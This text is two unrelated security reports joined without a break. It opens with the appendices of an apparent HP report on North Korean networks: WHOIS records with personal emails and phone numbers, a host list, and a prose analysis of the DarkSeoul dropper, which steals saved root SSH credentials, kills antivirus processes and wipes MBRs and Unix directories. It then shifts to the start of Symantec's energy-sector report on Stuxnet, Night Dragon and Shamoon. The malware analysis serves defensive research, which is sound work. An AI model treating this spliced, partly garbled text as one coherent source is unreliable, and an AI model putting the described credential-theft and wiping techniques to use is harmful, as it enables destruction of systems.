changed: hm-changed@apnic.net 20091221
source: APNIC
irt: IRT-STAR-KP
address: Ryugyong-dong Potong-gang District
e-mail: sahayod@loxley.co.th
abuse-mailbox: sahayod@loxley.co.th
admin-c: SJVC1-AP
tech-c: SJVC1-AP
auth: # Filtered
mnt-by: MAINT-STAR-KP
changed: sahayod@loxley.co.th 20120202
source: APNIC
role: STAR JOINT VENTURE CO LTD - network administrat
address: Ryugyong-dong Potong-gang District
country: KP
phone: +66 81 208 7602
fax-no: +66 2 240 3180
e-mail: sahayod@loxley.co.th
admin-c: SJVC1-AP
tech-c: SJVC1-AP
nic-hdl: SJVC1-AP
mnt-by: MAINT-STAR-KP
changed: hm-changed@apnic.net 20091214
source: APNIC
WHOIS Record for rodong.rep.kp:
inetnum:     175.45.176.0 - 175.45.179.255
netname:      STAR-KP
descr:     Ryugyong-dong
descr:     Potong-gang District
country:     KP
admin-c:     SJVC1-AP
tech-c:     SJVC1-AP
status:     ALLOCATED PORTABLE
mnt-by:      APNIC-HM
mnt-lower: MAINT-STAR-KP
mnt-routes: MAINT-STAR-KP
remarks:     -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks:     This object can only be updated by APNIC hostmasters.
remarks:     To update this object, please contact APNIC
remarks:     hostmasters and include your organisation's account
remarks:     name in the subject line.
remarks:     -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
mnt-irt:    IRT-STAR-KP
changed:      hm-changed@apnic.net 20091221
source:     APNIC
irt:     IRT-STAR-KP
address:     Ryugyong-dong Potong-gang District
e-mail:     sahayod@loxley.co.th
abuse-mailbox: sahayod@loxley.co.th
admin-c:     SJVC1-AP
tech-c:     SJVC1-AP
auth:      # Filtered
mnt-by:      MAINT-STAR-KP
changed:      sahayod@loxley.co.th 20120202
source:     APNIC
role:      STAR JOINT VENTURE CO LTD - network administrat
address:     Ryugyong-dong Potong-gang District
country:     KP
phone:      +66 81 208 7602
fax-no:     +66 2 240 3180
e-mail:     sahayod@loxley.co.th
admin-c:     SJVC1-AP
tech-c:     SJVC1-AP
nic-hdl:    SJVC1-AP
mnt-by:      MAINT-STAR-KP
changed:      hm-changed@apnic.net 20091214
source:     APNIC
WHOIS Record for uriminzokkiri.com:
Domain Name : uriminzokkiri.com
PunnyCode : uriminzokkiri.com
Creation Date : 2003-02-09 00:00:00
Updated Date : 2012-06-28 13:22:18
Expiration Date : 2015-02-09 00:00:00
Registrant:
Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU
Name : Korea 615 Shenyang company
Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1
City : shenyangshi
Province/State : liaoningsheng
Country : china
Postal Code : 123456
Administrative Contact:
Name : kim sejun
Organization : Shenyang xin neng yuang
Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1
City : shenyangshi
Province/State : liaoningsheng
Country : china
Postal Code : 123456
Phone Number :
Fax : 86-024-22523102
Email : hyk1979@hotmail.com
Technical Contact: Name : kim sejun
Organization : Shenyang xin neng yuang
Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1
City : shenyangshi
Province/State : liaoningsheng
Country : china
Postal Code : 123456
Phone Number :
Fax : 86-024-22523102
Email : hyk1979@hotmail.com
Billing Contact:
Name : kim sejun
Organization : Shenyang xin neng yuang
Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1
City : shenyangshi
Province/State : liaoningsheng
Country : china
Postal Code : 123456
Phone Number :
Fax : 86-024-22523102
Email : hyk1979@hotmail.com
WHOIS Record for ournation-school.com:
Domain Name: ournation-school.com
Registry Domain ID:
Registrar WHOIS Server:whois.paycenter.com.cn
Registrar URL:http://www.xinnet.com
Updated Date:2012-06-28 13:22:20
Creation Date:2004-10-29 00:00:00
Registrar Registration Expiration Date:2014-10-29 00:00:00
Registrar:XINNET TECHNOLOGY CORPORATION
Registrar IANA ID:120
Registrar Abuse Contact Email: supervision@xinnet.com
Registrar Abuse Contact Phone:+86.1087128064
Domain Status:
Registry Registrant ID:
Registrant Name:Korea 615 Shenyang company
Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu
Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1
Registrant City:shenyangshi
Registrant State/Province:liaoningsheng
Registrant Postal Code:123456
Registrant Country:China
Registrant Phone:+86.024 22523102
Registrant Phone Ext:
Registrant Fax:+86.024 22523102
Registrant Fax Ext:
Registrant Email:urimanager@silibank.com
Registry Admin ID:
Admin Name:Korea 615 Shenyang company
Admin Organization:Korea 615 Shenyang company
Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5
Admin City:shenyangshi
Admin State/Province:liaoningsheng
Admin PostalCode:123456
Admin Country:China
Admin Phone:+86.024 22523102
Admin Phone Ext:
Admin Fax:+86.024 22523102
Admin Fax Ext:
Admin Email:urimanager@silibank.com
Registry Tech ID:
Tech Name:Korea 615 Shenyang company
Tech Organization:Korea 615 Shenyang company
Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5
Tech City:shenyangshi
Tech State/Province:liaoningsheng
Tech PostalCode:123456
Tech Country:China
Tech Phone:+86.024 22523102
Tech Phone Ext:
Tech Fax:+86.024 22523102
Tech Fax Ext:
Tech Email:urimanager@silibank.com
Name Server:ns13.xincache.com
Name Server:ns14.xincache.com
DNSSEC:unsigned
WHOIS Record for chongryon.com:
Domain Name: chongryon.com
Registry Domain ID: 69711868_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.melbourneit.com
Registrar URL: http://www.melbourneit.com.au
Updated Date: 2014-03-26T00:31:24Z
Creation Date: 2001-04-20T06:45:46Z
Registrar Registration Expiration Date: 2015-04-20T06:45:46Z
Registrar: Melbourne IT Ltd
Registrar IANA ID: 13
Registrar Abuse Contact Email: abuse@melbourneit.com.au
Registrar Abuse Contact Phone: +61.386242300
Domain Status: ok
Registry Registrant ID:
Registrant Name: o guanin
Registrant Organization: o guanin
Registrant Street: "hujimi2-14-15,"
Registrant City: chiyodaku
Registrant State/Province: tokyo
Registrant Postal Code: 1028138
Registrant Country: JP
Registrant Phone: +81.332627111
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: park2@mac.com
Registry Admin ID:
Admin Name: guanin o
Admin Organization:
Admin Street: "hujimi2-14-15,"
Admin City: chiyodaku
Admin State/Province: tokyo
Admin Postal Code: 1028138
Admin Country: JP
Admin Phone: +81.332627111
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: park2@mac.com
Registry Tech ID:
Tech Name: Link Club
Tech Organization: Link Club
Tech Street: 5-39-6 Jingumae Shibuya-ku
Tech City: TOKYO
Tech State/Province: 150-0001
Tech Postal Code: JP
Tech Country: JP
Tech Phone: +81.462643403
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: mel-tech@hosting-link.ne.jp
Name Server: USR-NS1.LINKCLUB.JP
Name Server: USR-NS2.LINKCLUB.JP
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net
>>> Last update of WHOIS database: 2014-05-13T18:15:18Z
WHOIS Record for korea-np.co.jp:
Domain Information: [B%I%a%$%s>pJs]
a.
[B%I%a%$%sL>]            KOREA-NP.CO.JP
e. [B$=$7$-$a$$]          B$+$V$7$-$,$$$7$c B$A$g$&$;$s$7$s$]$&$7$c
f. [BAH?%L>]           B3t<02q<R BD+A/?7Js<R
g. [Organization]       The Choson Shinbo Company Inc.
k. [BAH?%<oJL]           B3t<02q<R
l. [Organization Type]    CO
m. [BEPO?C4Ev<T]           YK18923JP
n. [B5;=QO"MmC4Ev<T]         YK18923JP
p. [B%M!<%`%5!<%P]           uns01.usen.ad.jp
p. [B%M!<%`%5!<%P]           uns02.usen.ad.jp
s. [B=pL>80]
[B>uBV]              Connected (2015/02/28)
[BEPO?G/7nF|]           1997/02/14
[B@\B3G/7nF|]            1997/06/03
[B:G=*99?7]            2014/03/01 01:16:34 (JST)
Appendix B – Sites found on North Korean IP space
smtp.star-co.net.kp    175.45.176.10   airkoryo.com.kp        175.45.176.69
smtp.start-di.net.kp   175.45.176.10   spwebh2.star.net.kp    175.45.176.7
spinef1.star.net.kp    175.45.176.10   mail.silibank.net.kp   175.45.176.70
spinef2.star.net.kp    175.45.176.11   kcna.kp                175.45.176.71
ns1.co.kp              175.45.176.15   gnu.rep.kp             175.45.176.73
ns1.com.kp             175.45.176.15   vok.rep.kp             175.45.176.75
ns1.edu.kp             175.45.176.15   friend.com.kp          175.45.176.8
ns1.gov.kp             175.45.176.15   korelcfund.org.kp      175.45.176.8
ns1.kptc.kp            175.45.176.15   ns1.cooks.org.kp       175.45.176.8
ns1.kptc.kp            175.45.176.15   ns1.friend.com.kp      175.45.176.8
ns1.net.kp             175.45.176.15   ns1.gnu.rep.kp         175.45.176.8
ns1.org.kp             175.45.176.15   ns1.kcna.kp            175.45.176.8
ns1.org.kp             175.45.176.15   ns1.koredfund.org.kp 175.45.176.8
ns1.rep.kp             175.45.176.15   ns1.korelcfund.org.kp 175.45.176.8
ns2.co.kp              175.45.176.16   ns1.korfilm.com.kp     175.45.176.8
ns2.com.kp             175.45.176.16   ns1.ksf.com.kp         175.45.176.8
ns2.edu.kp             175.45.176.16   ns1.naenara.com.kp     175.45.176.8
ns2.gov.kp             175.45.176.16   ns1.rodong.rep.kp      175.45.176.8
ns2.kptc.kp            175.45.176.16   ns1.silibank.net.kp    175.45.176.8
ns2.kptc.kp            175.45.176.16   ns1.star-co.net.kp     175.45.176.8
ns2.net.kp             175.45.176.16   ns1.star-di.net.kp     175.45.176.8
ns2.org.kp             175.45.176.16   ns1.star.net.kp        175.45.176.8
ns2.rep.kp             175.45.176.16   ns1.vok.rep.kp         175.45.176.8
friend.com.kp          175.45.176.39   ns2.airkoryo.com.kp    175.45.176.8
friend.com.kp          175.45.176.67   friend.com.kp          175.45.176.9
gnu.rep.kp             175.45.176.67   gnu.rep.kp             175.45.176.9
koredfund.org.kp       175.45.176.67   koredfund.org.kp       175.45.176.9
korelcfund.org.kp      175.45.176.67   korelcfund.org.kp      175.45.176.9
ksf.com.kp             175.45.176.67   ns2.airkoryo.com.kp    175.45.176.9
naenara.com.kp         175.45.176.67   ns2.cooks.org.kp       175.45.176.9
vok.rep.kp             175.45.176.67   ns2.friend.com.kp      175.45.176.9
rodong.rep.kp          175.45.176.68   ns2.gnu.rep.kp         175.45.176.9
ns2.kcna.kp           175.45.176.9    friend.com.kp       175.45.177.77
ns2.koredfund.org.kp 175.45.176.9     koredfund.org.kp    175.45.177.77
ns2.korelcfund.org.kp 175.45.176.9    korelcfund.org.kp   175.45.177.77
ns2.korfilm.com.kp    175.45.176.9    naenara.com.kp      175.45.177.77
ns2.ksf.com.kp        175.45.176.9    vok.rep.kp          175.45.177.77
ns2.naenara.com.kp    175.45.176.9    mail.chosunexpo.com 175.45.178.101
ns2.rodong.rep.kp     175.45.176.9    ns3.kptc.kp         175.45.178.173
ns2.silibank.rep.kp   175.45.176.9    ns3.kptc.kp         175.45.178.173
ns2.star-co.net.kp    175.45.176.9    ns1.knic.com.kp     175.45.178.8
ns2.star-di.net.kp    175.45.176.9    ns1.knic.com.kp     175.45.178.8
ns2.star.net.kp       175.45.176.9    ns1.star.edu.kp     175.45.179.66
ns2.vok.rep.kp        175.45.176.9    ns1.star.edu.kp     175.45.179.66
vok.rep.kp            175.45.176.9    email.kp.col.cn     175.45.179.67
gnu.rep.kp            175.45.177.73   mail.star.edu.kp    175.45.179.69
vok.rep.kp            175.45.177.75
Appendix C – Analysis of DarkSeoul Dropper
Dropper
MD5: 9263e40d9823aecf9388b64de34eae54
Also known as/detected as :
 Dropper-FDH (McAfee)
 Trojan:Win32/Dembr.A (Microsoft)
 Trojan.
Jokra (Symantec)
The dropper component that we examined was distributed as a UPX-packed binary.
Installation
When executed it creates the following files in the affected user’s %Temp% directory:
•   alg.exe: A legitimate binary used to open SSH connections with remote servers
MD5 e45cd9052dd3dd502685dfd9aa2575ca
Size: 166,912 bytes
•   conime.exe: A legitimate binary used to open SSH connections with remote servers
MD5: 6a702342e8d9911bde134129542a045b
Size: 153,600 bytes
•   ~pr1.tmp: Payload - A destructive bash script
MD5: dc789dee20087c5e1552804492b042cd
Size: 1,186 bytes
Also known as/detected as:
KillMBR-FBIA (McAfee)
Trojan:SH/Kofornix.A (Microsoft)
Trojan.
Jokra (Symantec)
•   AgentBase.exe: Payload - Win32 wiper component (see details below)
MD5: db4bbdc36a78a8807ad9b15a562515c4
Size: 24,576
Payload—attempts to connect to remote servers and upload a destructive bash script
After determining the location of user profile directories on the affected computer, the malware
searches these directories for configuration files and directories that may be associated with the
connection manager clients mRemote and SecureCRT.
• mRemote—an open source tool for centrally managing remote server connections using a GUI
(Kevin Kline, 2008).69 This tool is no longer being actively developed or supported.
• SecureCRT—a commercial SSH and Telnet client by VanDyke Software.
If an mRemote installation is located, the dropper reads the configuration file and checks if there’s
a NODE that is defined with “Username=root”, “Protocol=SSH”, and a password that is not blank.
If
those conditions are satisfied it extracts the information.
The password is decrypted after being
extracted.
If a SecureCRT installation is located, the dropper extracts information from sessions that have
Username=root, Protocol=SSH and a saved password.
If these conditions are satisfied, the
username, hostname, port, and password are extracted.
The password is then decrypted.
After extracting these connection and server details, the dropper uses the previously dropped alg.
exe and conime.exe to attempt to connect remote servers, upload and run the bash script
~pr1.tmp.
The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and
then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine
inoperative.
Win32 Wiper component
When the AgentBase.exe component is executed, it first attempts to stop the following processes,
presumably in order to evade detection:
• pasvc.exe – policy agent from AhnLab
• clisvc.exe – ViRobot ISMS from Hauri
It then enumerates all physical drives and overwrites the first 512 bytes with the string:
“princpes”, effectively destroying the MBR (master boot record) of the affected drive.
It continues to look for removable and fixed drives, locates the root directory on these drives, and
then attempts to delete all files and folders in this directory.
Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms
were successful then the machine will not be able to boot.
Learn more at
hp.com/go/hpsr
SECURITY RESPONSE
Targeted Attacks Against
the Energy Sector
Candid Wueest

Version 1.0 – January 13, 2014, 14:00 GMT
The energy sector has become a major focus for targeted
attacks and is now among the top five most targeted sectors
worldwide.
Follow us on Twitter                    Visit our Blog
@threatintel                            http://www.symantec.com/connect/symantec-blogs/sr
CONTENTS
OVERVIEW...................................................................... 3
Introduction................................................................... 5
Exposed systems: Online and offline............................. 7
Smart grid: A new potential avenue of attack	�������������� 8
History of discovered attacks...................................... 10
2013....................................................................... 10
2008....................................................................... 10
2003....................................................................... 10
2001....................................................................... 10
2000....................................................................... 10
Stuxnet................................................................... 11
Night Dragon.......................................................... 11
Shamoon/Disttrack................................................ 12
Spear phishing attacks in the energy sector	�������������� 14
New Year’s campaign............................................. 14
Greek oil campaign................................................. 14
Motivation and origin................................................... 16
Protection and mitigation............................................ 16
Conclusion.................................................................... 19
Appendix...................................................................... 21
A.
Spear phishing .................................................. 21
B. Visualization with TRIAGE.................................. 24
C. Phases of targeted attacks................................ 25
Resources..................................................................... 28
OVERVIEW
The energy sector has become a major focus for targeted attacks and is now among the top
five most targeted sectors worldwide.
Companies in the sector are facing a growing risk
of having their services interrupted or losing data.
The threat to energy firms is only likely
to increase in the coming years as new developments, such as further extensions of smart
grids and smart metering expose more infrastructure to the Internet.
Equipment that is
not connected to the Internet and other networks is not immune to threats and there has
already been a number of successful attacks against isolated systems.
Operators of critical
infrastructure, as well as energy utility companies, need to be aware of these threats and
prepare accordingly.
The threat to energy firms comes from several different sources.
In some cases, espionage
from competitors is the primary motive, with data on new projects, exploration and finances
being targeted.
Disruption and destruction are the goals of other attacks.
Some instances
appear to be state sponsored, such as the disruption of the Iranian nuclear program by
the Stuxnet worm in 2010, one of the attacks that began this trend.
Others appear to
be the work of hacktivists with political or environmental agendas.
Internal attackers,
like disgruntled employees, are also a major source of attacks that often lead to service
disruption.
The majority of the actors behind these attacks have grown more sophisticated
in the way they attack.
During the monitoring period from July 2012 to June 2013, we observed an average of 74
targeted attacks per day globally.
Of these, nine attacks per day targeted the energy sector.
Accounting for 16.3 percent of all attacks, the energy sector was the second most targeted
vertical in the last six months of 2012, with only the government/public sector exceeding it
with 25.4 percent of all attacks.
The high ranking was mainly due to a major attack against
a global oil company, which we observed in September 2012.
However, in the first half of
2013 the energy sector continued to attract a high proportion of attacks, ranking in fifth
place with 7.6 percent of targeted attacks.
Not all of the attacks analyzed used highly sophisticated tools.
Most of them could have
been prevented by following best practice guidelines for protecting the IT infrastructure and
the industrial components, indicating that despite high revenues and strategic importance,
many energy sector companies are not prioritizing cybersecurity.
INTRODUCTION
Many power
utilities companies
fear disruptive
attacks the most,
regardless of
whether it is done
by internal or
external attackers.
Targeted Attacks Against the Energy Sector
Introduction
The number of targeted cyberattacks in general has risen in the past few years.
In addition to this, the rate of
attack exposure has also risen, with more companies becoming aware of attacks, expecting them and searching
for indications of compromise.
It is not a new phenomenon, but its importance has grown.
The Council on
Foreign Relations, a US think tank, reported that energy companies, including oil and gas producers, were often
the focus of targeted attacks during summer 2012.
In May 2013 the US Department of Homeland Security
(DHS) warned of an increase in sabotage attacks against US energy companies located in the Middle East.
The
government had tracked multiple attacks and issued a warning together with the Industrial Control Systems
Cyber Emergency Response Team (ICS-CERT).
A report by the US Congress supported this picture, stating that
many power utilities companies were under constant or daily attack through cyberspace.
Taking into account
that successful breaches of critical infrastructures are still rare and that these numbers included generic
malware infections, it nevertheless highlights the potential for cyberattacks in the energy sector.
As in most sectors, attackers are often after valuable information.
For example, we have seen attackers target
intellectual property such as technology for photovoltaic research and wind turbines, or data on gas field
exploration.
Information such as this is of high value and can generate huge profits for attackers or their
sponsors.
The same information can also be misused for an act of sabotage.
Many power utilities companies fear
disruptive attacks the most, regardless of whether it is done by internal or external attackers.
The energy sector
has a high potential for critical disruption through sabotage attacks.
Any interruption to the power grid would
cause substantial chaos and cascading effects resulting in financial loss.
In the past there have been quite a few attacks that included targets in the energy sector.
Some of these were
more focused, like Stuxnet, Duqu, Shamoon/Disttrack and Night Dragon.
Others saw power companies targeted
among many other sectors, such as Hidden Lynx, Nitro, Flamer, Net Traveler and Elderwood to name a few.
One of the biggest examples, and a game changer for many organizations, was Stuxnet.
This targeted sabotage
attack, which is believed to have been aimed against uranium enrichment facilities in Iran, made clear what
could be done through cyberattacks.
It is also clear that the energy sector is not exempt from the generic attacks that every company faces, such
as ransomware that locks PCs or financial Trojans that attempt to steal passwords and credit card details.
For
example, such a case happened in May 2013, when a small fuel distribution company in North Carolina fell
victim to a cyberheist that transferred US$800,000 from the company’s bank account.
Such threats spread
broadly and might impact any person, regardless of their employer.
These attackers aim at infecting as many
computers as possible in order to maximize their chances of profits.
These attacks can include nonspecific data
breaches where employee or customer records get stolen, as happened to the US Department of Energy in July
2013.
For this paper we focused on email data from targeted attacks between July 2012 and June 2013.
Even though
watering holes are becoming more frequently used in targeted attacks, it is unfortunately quite difficult to
reliably map these to individual campaigns.
A blocked drive-by download attempt does not give any indication
if it was a targeted attack or just general noise.
In quite a few cases we see the same common malware, like
Poison Ivy, being used by generic attackers and by targeted attacks.
In such cases the sole difference between a
sophisticated targeted attack and a generic one lies in the person commanding the malware.
Page 5
EXPOSED SYSTEMS:
ONLINE AND OFFLINE
Experts predict
that billions of
smart meters
and sensors
will be installed
worldwide over the
next ten years.
Targeted Attacks Against the Energy Sector
Exposed systems: Online and offline
Historically most industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems
were in separated networks not connected to the Internet or any other network.
Unfortunately this security
through segregation approach does not fully protect against cyberattacks.
In reality, networks are rarely
completely isolated.
Often some configuration updates are periodically installed or log files are transferred.
If
systems are not directly connected, the method of choice for these types of interactions is usually through a USB
stick or a non-permanent modem connection, which provides a way into the restricted networks.
This allows
malware to spread into such isolated networks as demonstrated many times by threats such as Stuxnet.
If networks are truly segregated, this would mean that there would be no software updates installed, leaving
old vulnerabilities open.
There are also issues around processes.
For example, the revocation lists for digital
certificates are seldom updated and therefore certificates which are no longer valid cannot be checked properly
and would still be accepted.
With the increasing desire for connectivity now reaching industrial plants, many operators have started to
connect their ICS to the Internet.
New adapters can bridge to older technology which was never intended to be
controlled over the Internet, allowing it to be connected easily.
This allows for efficient centralized monitoring
and, to some extent, remote control of equipment.
Depending on the type of machinery controlled through the human-machine interface (HMI) of the ICS, not all
modifications are possible.
Some systems are physically connected in a pure read-only mode for monitoring.
And even if they are fully connected, some turbines have physical limitations or emergency systems based on
physical effects that cannot be overridden by the digital controller.
Thus, not all Hollywood scenarios of open
flood gates or turbines that fly through the air are possible.
However, sabotage attacks that damage equipment
are definitely possible, as has already been demonstrated.
In the future, more systems are going to implement
the failsafe switches in software, opening up the vector for malware attacks.
An additional source of concern is that some countries have started to open the energy market for smaller
private contributors.
This means that almost anyone can use mini power plants like water, wind or photovoltaic
sites to feed energy back into the power grid.
Often these operators do not have a full IT staff supporting
the facilities at hand, which might lead to more vulnerable installations.
Furthermore they may deploy new
technology which might be untested and contain some unknown vulnerabilities.
While these smaller sites make
up only a small portion of the grid, new decentralized power input feeds are a challenge for the balance of the
power grid as well and need to be carefully monitored.
Small outages or changes can have a domino effect for
the whole power grid.
To increase the exposure of energy firms even further, sites like SHODAN, which is essentially a search engine
for devices, enable anyone to easily find exposed controllers on the Internet.
Of course not all of the industrial
control systems connected to the Internet are critical systems or even real ones.
Some researchers have started
to create honey pot systems in order to study the attackers, which have apparently already attracted attackers
like the Comment Crew/APT1 group, who have broken into these decoy systems.
Page 7
Targeted Attacks Against the Energy Sector
Smart grid: A new potential avenue of attack
Smart grids and smart metering are
bringing significant change to
the world’s power systems.
Experts predict that
billions of smart meters
and sensors will be
installed worldwide
over the next ten
years.
They enable
utility companies
to measure energy
consumption at a
more granular
level, creating
better flow
patterns and
enabling
different
prices for
consumption
based on
the time of day and
location.
This development
brings new opportunities, as well
as new challenges.
As with any connected infrastructure, it is important to
secure the network and its endpoint on multiple levels.
There have
already been proof of concept attacks that demonstrate how smart meters could be manipulated to send
back false information or report incorrect billing IDs, leading to power theft.
In addition to the issue of securing these devices, smart grids will produce a huge amount of data which,
depending on regulations, will need to be kept for audits.
Some of this data may be sensitive and could raise
privacy concerns if not properly protected.
This could easily grow to petabytes of data that needs to be safely
stored and managed.
It is beyond the scope of this paper to address all the challenges associated with smart grids and smart meters.
Symantec has created a dedicated whitepaper for this topic: How to protect critical infrastructure, mitigate fraud
and guarantee privacy.
As a member of the CRISALIS project, Symantec is following these developments closely
and is helping to secure critical infrastructure together with partners from academia and different industry
sectors.
Page 8
HISTORY OF DISCOVERED ATTACKS
There have
been numerous
cyberattacks
against the energy
sector over the
past few years.
Targeted Attacks Against the Energy Sector
History of discovered attacks
There have been numerous cyberattacks against the energy sector over the past few years.
Not all of them were
the work of sophisticated attackers; some incidents were just collateral damage caused by malware infections or
bad configuration issues.
These incidents highlight the fact that such attacks can happen and that they can have
real life consequences.
2013
In 2013 part of the Austrian and German power grid nearly broke down after a control command was
accidentally misdirected.
It is believed that a status request command packet, which was broadcast from a
German gas company as a test for their newly installed network branch, found its way into the systems of the
Austrian energy power control and monitoring network.
Once there, the message generated thousands of reply
messages, which generated even more data packages, which in turn flooded the control network.
To stop this
self-inflicted DDoS attack, part of the monitoring and control network had to be isolated and disconnected.
Fortunately the situation was resolved without any power outages.
2008
In 2008, Tom Donahue, a senior Central Intelligence Agency (CIA) official told a meeting of utility company
representatives that cyberattacks had taken out power equipment in multiple cities outside the United States.
In some cases the attacker tried to extort money from the energy companies, threatening them with further
blackouts.
2003
In 2003 the safety monitoring system of the Ohio nuclear power plant apparently went offline for several hours
due to a Slammer worm infection.
Fortunately the power plant was already offline due to maintenance and the
installed secondary backup monitoring system was unaffected by the worm.
Nevertheless the incident raised
safety concerns.
At the beginning of 2003 a marine terminal in Venezuela was targeted by a sabotage attack.
Details of this attack
are scarce and vague, but it seems that during a strike an attacking group managed to get access to the SCADA
network of the oil tanker loading machinery and overwrote programmable logic controllers (PLCs) with an empty
program module.
This halted machinery, preventing oil tankers from loading for eight hour till the unaffected
backup code was reinstalled on the PLCs.
The attack was not too sophisticated as it was easily spotted.
A small
modification of the PLC code instead would probably have gone unnoticed for a long time.
2001
In 2001 an attack took place against California’s power distribution center, which controls the flow of electricity
across California.
Due to apparently poor security configuration, the attacker was able to compromise two Web
servers that were part of a developer network and penetrate further from there.
Fortunately the attackers were
stopped before they managed to attack any systems which were tied into the transmission grid for the Western
United States.
2000
According to Russian officials, the largest natural gas extraction company in the country was successfully
attacked in 2000.
The attackers used a Trojan to gain access to the control for the gas pipelines.
Through this
switchboard, the flow for individual gas pipelines could have been modified, which would easily have caused
widespread disruption.
Page 10
Targeted Attacks Against the Energy Sector
Aside from these incidents, there have also been a number of more serious and well-documented targeted
attacks against the energy sector:
Stuxnet
The Stuxnet incident and its relatives Duqu, Flamer and Gauss are some of the most talked-about cases of
targeted attacks.
As far as we know today, the Stuxnet operation began in November 2005 with the registration
of the command and control (C&C) servers used in the attacks.
The first recorded appearance of what we now
call Stuxnet version 0.5 was in November 2007.
Since then, a handful of different versions have been found and
analyzed.
Stuxnet 1.x is based on what is now known as the “tilded” platform; whereas Stuxnet 0.5 is based
on the Flamer framework.
The code segments and programming style differ, which indicates that two different
programming teams were most likely responsible for the different branches of Stuxnet.
Thorough investigation
into the mechanism and functions of this threat started in July 2010.
Stuxnet is the first known autonomous
threat to target and sabotage industrial control systems to such an extent.
Stuxnet is a sophisticated piece of malware, which uses seven vulnerabilities to spread and infect its targets.
The most notable vulnerability is the Microsoft Windows Shortcut ‘LNK/PIF’ Files Automatic File Execution
Vulnerability (CVE-2010-2568), which allows it to auto-execute on USB drives.
Spreading through infected
portable media drives allowed it to also infect networks isolated by air gaps that are unreachable from the
Internet.
This was most likely the first infection vector used by Stuxnet.
In addition, it is able to infect Step7
project files, which are used to control Programmable Logic Controllers (PLCs).
This allowed the worm to infect
computers whenever the engineer exchanged the project files.
Besides this, it also spread through network
shares, a printer spooler vulnerability, an old Windows RPC (remote procedure calls) vulnerability and a known
password in the WinCC database.
In the end, Stuxnet propagated further than its authors probably intended.
We
have monitored more than 40,000 infected IP addresses in 155 countries.
Many of those systems are most likely
just collateral damage and were not intended to be infected by the attackers.
For example multiple computers at
Chevron were infected by Stuxnet, without any damage being done.
Part of the malware code was signed with stolen digital certificates making it harder to detect by security tools.
To hide its activity even further, Stuxnet executed slightly different infection routines depending on the security
software installed on the target.
On the USB drive itself, the malware would hide its own files and even delete
itself from it after three successful propagations.
Tricks like these, to make the detection of the malware more
difficult, are now frequently used in modern targeted attacks.
Stuxnet’s payload focused on PLCs, which are used to control different industrial components.
The target of the
Stuxnet operation is believed to be a uranium enrichment facility in Iran.
The sabotage payload disrupted and
partially destroyed the cascaded high frequency gas centrifuges.
The early version of Stuxnet targeted the S7-
417 PLCs and modified its valve settings.
Closing the valves at certain points in time would lead to an increase
of pressure that could damage the equipment.
The later version of the threat focused on the S7-315 PLCs,
manipulating the spinning frequency of the rotating motors.
By speeding the centrifuges up and slowing them
down repeatedly, the output quality could be spoiled and the centrifuges themselves could be damaged.
The
payload would only become active if the fingerprint in the found PLC setup matched a given configuration setup.
This minimized the collateral damage at other facilities and showed that the attackers had in-depth knowledge
of the targeted uranium enrichment facilities.
To avoid detection by personnel monitoring the human machine
interface (HMI) of the plant, the threat recorded measurement readings during normal operation and played
those back in a loop.
Night Dragon
Operation Night Dragon, which was uncovered in 2010, is a typical example of global oil companies being
targeted, but this time not with the aim of disruption in mind.
The attacks started in late 2009 and were directed
at finding project details and financial information about oil and gas field exploration and bids.
The attackers started by compromising public facing Web servers through SQL injection and installing Web
shells on them.
Once they had control over the server they used common hacking tools to harvest local
Page 11
Targeted Attacks Against the Energy Sector
passwords, dump password hashes, sniff authentication messages and exploit internal active directory
configuration.
This allowed them to move on to other internal computers using the gathered passwords.
In
addition, spear phishing messages were used to compromise additional computers.
The attackers did not use
any zero-day vulnerabilities during their attacks.
Rather they used publicly available tools for each individual job.
On compromised computers a common Backdoor.
Trojan was installed that communicated back to the
C&C server, allowing remote access to the computer.
This allowed the attacker to find and extract valuable
information.
Shamoon/Disttrack
In August 2012 an extremely destructive cyberattack hit an estimated 30,000 computers at one of the largest oil
producers of the world in Saudi Arabia.
The W32.Disttrack malware used in this attack, also known as Shamoon,
consists of three components: a dropper, a wiper and a reporter module.
The dropper component is responsible for creating all the required files on the system, registering a service
called “TrkSvr” in order to start itself with Windows.
It also attempts to copy itself to accessible network shares
and execute itself remotely if successfully copied.
The wiper component is only activated when a hardcoded configuration date has been passed.
This enables a
coordinated, “time bomb” scenario.
The module then drops a legitimate and digitally signed device driver that
provides low level disk access from user space.
The malware collects file names and starts overwriting them
with a JPEG image or 192KB blocks of random data.
At the end Disttrack finishes the computer off by wiping the
master boot record with the same data.
The reporter component is responsible for sending back a HTTP GET request to the C&C server.
It reports the
domain name, IP address and number of files overwritten.
By acquiring user credentials and gaining access to the domain controller the attackers were able to push the
malware on to many systems before they triggered the destructive payload.
Disttrack’s secondary goal may have
been to steal valuable information from infected computers, but the main intent was to render the computers
unusable by wiping the operating system and master boot record, causing disruption and downtime at the
targeted company.
Although wiping is also frequently used to destroy evidence of the attack and make forensics
more difficult.
The malware does not contain any payload against ICS, like Stuxnet does for PLCs, and is not as
sophisticated.
According to the company, no computer related with the production or distribution of oil was
affected, since the operational network is separated and specially protected.
One group that claimed responsibility for the attack posted on Pastebin that it was an anti-oppression hacker
group.
The attack was prompted by disappointment with some of the regimes in the Middle East, the group said.
